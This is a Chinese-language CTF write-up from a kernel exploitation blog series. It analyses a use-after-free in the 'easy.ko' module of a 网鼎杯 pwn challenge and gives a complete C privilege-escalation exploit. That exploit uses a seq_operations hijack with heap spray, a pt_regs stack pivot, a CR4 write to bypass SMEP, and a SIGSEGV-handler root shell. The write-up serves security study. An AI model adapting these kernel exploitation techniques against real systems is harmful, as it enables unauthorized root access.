Linux Kernel Exploitation 生存日记 - 0x02

Linux Kernel Exploitation 生存日记 - 0x02

2024-11-07·LinuxKernelExploitationPwnLinuxKernelExploitation

Kernel UAF

概述

就是UAF。

网鼎杯-玄武组-pwn03

题目分析

初步分析

start.sh

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -kernel bzImage \
    -initrd rootfs.cpio \
    -append 'root=/dev/ram console=ttyS0 oops=panic panic=1' \
    -monitor /dev/null \
    -cpu kvm64,+smep \
    -monitor /dev/null \
    -smp cores=1,threads=1 \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic \
    -s

可以看到开启kaslr、smep、kpti。

而且内核地址直接白给)

/ $ ls /proc/ -al | grep kallsyms
-r--r--r--    1 0        0                0 Nov  7 14:11 kallsyms
/ $ cat /proc/kallsyms | grep commit_cred
ffffffffa96ac050 T commit_creds
ffffffffaa37c6c0 r __ksymtab_commit_creds
ffffffffaa39ec60 r __kcrctab_commit_creds
ffffffffaa3b17bb r __kstrtab_commit_creds
/ $ 

之后init中可以看到路径并提取出easy.ko

#!/bin/sh
echo "INIT SCRIPT"
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs none /dev
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
insmod /usr/easy.ko
chmod 666 /dev/easy
echo "flag{test}" >  /flag
chmod 600 /flag
# poweroff -d 120 -f &
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /proc
umount /sys
poweroff -d 0  -f

静态分析

定义了vuln_ioctl

__int64 __fastcall vuln_ioctl(file *filp, unsigned int cmd, unsigned __int64 args)
{
  __int64 v3; // rdx
  _QWORD *private_data; // rbx

  _fentry__();
  private_data = filp->private_data;
  if ( cmd )
  {
    if ( cmd == 1 )
      kfree(*private_data);
    return 0LL;
  }
  else
  {
    *private_data = _kmalloc(v3, 0x24000C0LL);
    return 0LL;
  }
}

选项0是创建一个堆,选项1是free掉这个堆块。 同时注意到这个堆块地址是全局变量,存在UAF。

除此之外vuln_read,vuln_write即对堆块进行读写,不存在堆溢出。

攻击思路

存在任意申请size的堆块的UAF漏洞。之后便可以利用其劫持一些结构体达到RCE并提权。

这里劫持seq_operations结构体,定义:

/include/linux/seq_file.h

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

创建这个结构体只需要open(“/proc/self/stat”)即可。大小为0x20。同时只需要read函数即可触发*start函数。

为了增加劫持成功的概率,这里进行了0x200次open和read进行堆喷。

动态调试

此时我们只能执行一个地址的代码,没有达到ROP的目的。

内核栈大小很小,而且syscall之前会把用户态所有寄存器push到栈上面,即位于栈最高地址处(pt_regs结构体)。

经过计算,我们将rsp+0x190就可以劫持执行流到push的用户态寄存器残留的地址上。

使用下面的代码即可

        __asm__(
            "mov rax,%0\n"
            "mov rbx,%0\n"
            "mov rcx,%0\n"
            "mov rdx,%0\n"
            "mov rdi,%0\n"
            "mov rsi,%0\n"
            "mov rdx,%0\n"
            "mov r8,%0\n"
            "mov r9,%0\n"
            "mov r10,%0\n"
            "mov r11,%0\n"
            "mov r12,%0\n"
            "mov r13,%0\n"
            "mov r14,%0\n"
            "mov r15,%0\n"
            :
            :"r" (pop_rax_pop_rsp_pop3_ret)
            :"r12"
            );

同时ROPgadget可以搜到add rsp,0x190;pop_2;ret的gadget,相当于add rsp,0x1a0;ret的gadget。

经测试,我们正好ret到存储的用户态rbp前一个size_t的位置,我们设置这个地址为pop rsp;ret即可栈迁移到用户态(因为这里没有开smap)

我们只需要提前在用户态rbp以及之后布置ROP链子即可。

bypass smep即可设置cr4为0x7f0

但是由于存在kpti,此时我们用户态代码无法执行,会触发Segmentation fault. 查找后发现没找到swapgs_restore_regs_and_return_to_usermode函数地址,这里采用另一种方法。 由于这个Segmentation fault.是用户态错误,会陷入到内核态进行处理,但是没有触发kernel panic。我们可以绑定一个信号处理函数为getshell函数,即可执行get shell函数。 代码最前面加上signal(SIGSEGV, getRootShell);即可。

Exp

#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>

#define POP_RDI_RET 0x048955
#define POP_RAX_RET 0xda64
#define MOV_CR4_RDI_POP_RBP_RET 0x01b9e0
#define MOV_RSP_RAX_DEC_EBX_RET 0x8acb8e
#define ADD_RSP_1a0 0x5d0263
// mov rsp, rax ; pop rax ; jmp 0xffffffff818acb07

#define MOV_RSP_R9_POP4_RET 0x39adc4
#define SWAPGS_POP_RBP_RET 0x065354
#define IRETQ_RET 0x18453f
// 0xffffffff81a00a33 : mov rsp, rax ; pop rax ; jmp 0xffffffff81a00987
size_t commit_creds = NULL, prepare_kernel_cred = NULL;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void getRootPrivilige(void)
{
    void * (*prepare_kernel_cred_ptr)(void *) = prepare_kernel_cred;
    int (*commit_creds_ptr)(void *) = commit_creds;
    (*commit_creds_ptr)((*prepare_kernel_cred_ptr)(NULL));
}

void getRootShell(void)
{   
    system("/bin/sh");
    exit(0);
}
size_t base;
int main(void)
{
    signal(SIGSEGV, getRootShell);
    printf("\033[34m\033[1m[*] Start to exploit...\033[0m\n");
    saveStatus();

    //get the addr
    FILE* sym_table_fd = fopen("/proc/kallsyms", "r");
    if(sym_table_fd < 0)
    {
        printf("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m\n");
        exit(-1);
    }
    char buf[0x50], type[0x10];
    size_t addr;
    while(fscanf(sym_table_fd, "%llx%s%s", &addr, type, buf))
    {
        if(prepare_kernel_cred && commit_creds)
            break;

        if(!commit_creds && !strcmp(buf, "commit_creds"))
        {
            commit_creds = addr;
            base=commit_creds-0xac050;
            printf("\033[32m\033[1m[+] Successful to get the addr of commit_cread:\033[0m%llx\n", commit_creds);
            printf("\033[32m\033[1m[+] Successful to get the addr of kernel_base:\033[0m%llx\n", base);
            continue;
        }

        if(!strcmp(buf, "prepare_kernel_cred"))
        {
            prepare_kernel_cred = addr;
            printf("\033[32m\033[1m[+] Successful to get the addr of prepare_kernel_cred:\033[0m%llx\n", prepare_kernel_cred);
            continue;
        }
    }
// 0xffffffff811cb8a2: pop rdx; ret; 
// 0xffffffff810117c4: or rax, rdi; ret; 
    size_t pop_rdx=base+0x1cb8a2;
    size_t mov_rdi_rax_call_rdx=base+0xfea72b;
    size_t rop[0x20], p = 0;
    size_t init_cred=base+0xe5a140;
    rop[p++] = base+POP_RDI_RET;
    rop[p++] = 0x6f0;
    rop[p++] = base+MOV_CR4_RDI_POP_RBP_RET;
    rop[p++] = 0;

    rop[p++] = base+POP_RDI_RET;
    rop[p++] = init_cred;
    rop[p++] = commit_creds;
    rop[p++] = base+SWAPGS_POP_RBP_RET;
    rop[p++] = 0;
    rop[p++] = base+IRETQ_RET;
    rop[p++] = getRootShell;
    rop[p++] = user_cs;
    rop[p++] = user_rflags;
    rop[p++] = user_sp;
    rop[p++] = user_ss;

    int fd1 = open("/dev/easy", 2);
    int fd2 = open("/dev/easy", 2);

    ioctl(fd1, 0x0, 0x20);
    ioctl(fd1, 0x1, 0x20);

    size_t fake_stat[4];
    size_t stat_fd[0x200];
    for (int i=0;i<0x200;i++){
        stat_fd[i]=open("proc/self/stat",0);
    }
    
    read(fd2,fake_stat,0x20);
    fake_stat[0]=base+ADD_RSP_1a0;
    write(fd2,fake_stat,0x20);
    size_t pop_rdi=base+POP_RDI_RET;

    size_t pop_rax_pop_rsp_pop3_ret=base+0x194570;
    size_t cur_rbp;
    asm(
        "mov %0,rbp"
        :"=r"(cur_rbp)
        :
        :
        );
    memcpy(cur_rbp,rop,sizeof(rop));
    for (int i=0;i<0x200;i++){
        __asm__(
            "mov rax,%0\n"
            "mov rbx,%0\n"
            "mov rcx,%0\n"
            "mov rdx,%0\n"
            "mov rdi,%0\n"
            "mov rsi,%0\n"
            "mov rdx,%0\n"
            "mov r8,%0\n"
            "mov r9,%0\n"
            "mov r10,%0\n"
            "mov r11,%0\n"
            "mov r12,%0\n"
            "mov r13,%0\n"
            "mov r14,%0\n"
            "mov r15,%0\n"
            :
            :"r" (pop_rax_pop_rsp_pop3_ret)
            :"r12"
            );
        read(stat_fd[i],fake_stat,0x20);
    }
    return 0;
}